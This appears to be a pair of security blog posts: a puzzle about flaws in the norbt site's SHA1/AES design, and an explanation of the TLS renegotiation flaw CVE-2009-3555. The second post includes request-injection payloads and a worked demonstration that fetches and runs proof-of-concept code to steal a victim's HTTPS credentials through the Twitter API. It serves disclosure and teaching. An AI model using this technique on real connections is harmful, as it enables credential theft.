Applied crypto puzzle

or why it is easy to get crypto wrong

Quoting from this website (in case it would be removed):

A norbt is a web page with encrypted text. The key to encrypt and decrypt the text is the answer. When you create a norbt you decide the text, title, question and answer(key) for your norbt. 

 [...]

security

A norbt uses standard cryptography to protect your data. All the cryptography is performed locally on the user's machine. The text always travels encrypted. If somebody at norbt.com wants to view your text, they have to know the answer just like everybody else.

[...]

Real security doesn’t thrive on keeping how it works a secret. Here we explain what a hacker would have to do to crack a norbt.
Cracking a norbt means finding out the text without knowing the answer.

Cryptography used on a norbt

Let’s assume that the hacker gets access to the server and obtains the data stored there.
The data stored on the server for a norbt is:
answer: SHA1(answer + salt1) , salt1
text: AES128(SHA1(answer + salt2), IV, Mode.CFB, text), salt2, IV
For the hacker to crack the text she will have to break either SHA1(answer + salt1) or AES128 directly.
Listening to traffic won’t work to break a norbt because all encryption and decryption operations are performed in the browser. If the hacker breaks SSL to look at the traffic she won’t get any more data than what is stored on the server.

No attack with the web page data

When a browser requests to view or manage a norbt, it gets: mod(SHA1(answer + salt1),64), salt1. So the browser gets a number between 0..63 and a salt. A brute force attack with this data is not possible. A hacker that tries to perform a brute force attack will have to check with the server on 1 of every 64 attempts.

Strong Answer = Strong norbt

In most cases the answer will be the weakest point of a norbt. If an answer is easy to guess or if there are a limited number of options (example: which country do I live in?) then it is easier to try all possible options and come up with a correct answer. If your answer is strong then your norbt will be almost unbreakable.
Your norbt is as secure as your answer. To crack a norbt without guessing the answer, the hacker has to break either SHA or AES, which are cryptography standards that the security world uses (banks, governments, secure USB keys, military, computer passwords…).
We take the security of your data seriously.

Great material for a real world security puzzle!

Assuming high security requirements, how many vulnerabilities can you spot?

I'll post a solution soon.

Hint: (select text to reveal)

More precisely, you can assume the website's goal is to provide confidentiality and integrity of the information posted by the user, against web server compromise, against an active or passive MITM (who would have broken SSL), and against offline bruteforce attempts. Assume  '+' stands for concatenation, assume the servers first sends the "0..63 hash" to the javascript, if it matches, the client receives the encrypted block of text.

Note: I didn't read their javascript, they might be actually doing something else, but that's what I infered from the description they've written. It doesn't matter anyway - it is a puzzle.

TLS renegotiation vulnerability (CVE-2009-3555)

definitely not a full blown MITM, yet more than just a simple CSRF

UPDATE: This article was featured on The Register


Context

Marsh Ray and Steve Dispensa have recently uncovered a vulnerability in the design of TLS. Many comments and explanations have been made, and the consensus is that for HTTPS, this attack is equivalent to a CSRF, which is usually well protected against.

From IBM ISS:

Most, if not all, major web applications have implementation level protections against CSRF, such as random nonces in web forms that must be submitted along with any request. Those protection measures are effective against this new SSL man in the middle attack. Therefore, this vulnerability has minimal security impact for most websites and Internet users.

UPDATE: Tom J Cross from IBM ISS made a follow-up blog post referring to this attack.

This is about right if one considers the way an attacker injects data in the TLS session (in red) according to Marsh Ray's "X-ignore" trick:

GET /transact.php?value=evil HTTP/1.0

X-Ignore: Get / HTTP/1.1
Cookie: [...]

This is not the only possibility though. Here is another one:

POST /forum/send.php HTTP/1.0

message=GET / HTTP/1.1 [...]

Now the victim's packet is embedded in the POST data. The attacker can therefore have access to the actual packet sent by an auxiliary channel - e.g. here by reading the posted message on the forum that we assume operates on the same website.

One can see here that this is somewhat broader than a CSRF: an attacker can now have access to HTTP headers, such as the Authorization header.

A real world attack scenario: the twitter API

One can update its twitter status by using their RESTful API, e.g. with curl:

$ curl -u "user:pw" -d "status=New status" https://twitter.com/statuses/update.xml

Note that this is a POST request. Applying the previously stated idea, it is now possible to access the first 140 characters of an HTTP packet sent by a victim.

Attacker:

attacker.example.com$ wget http://perso.telecom-paristech.fr/~kurmus/ssl.c #based on the PoC published on full disclosure

attacker.example.com$ gcc -lssl ssl.c -o ssl

attacker.example.com$ ./ssl 8080 `echo -n "attacker@example.com:evilpw" |base64`

Victim:

$ curl -u "victim@example.com:securepw" -d "status=any" https://twitter.com/statuses/update.xml -p -x attacker.example.com:8080 \

# proxying the request through attacker.example.com, to simulate a MITM

Result on the attacker's twitter status:

$ echo -n dmljdGltQGV4YW1wbGUuY29tOnNlY3VyZXB3 | base64 -d

victim@example.com:securepw

Although the attacker cannot modify the contents of the data sent back by the server after the malicious status update, he can take advantage of his relaying position and drop that packet. Considering twitter will also append an authentication cookie in the reply, this is a must for the attacker.

All in all, a man in the middle is able to steal the credentials of a user authenticating himself through HTTPS to a trusted website, and CSRF protections do not apply here. Luckily, a fix should be out soon.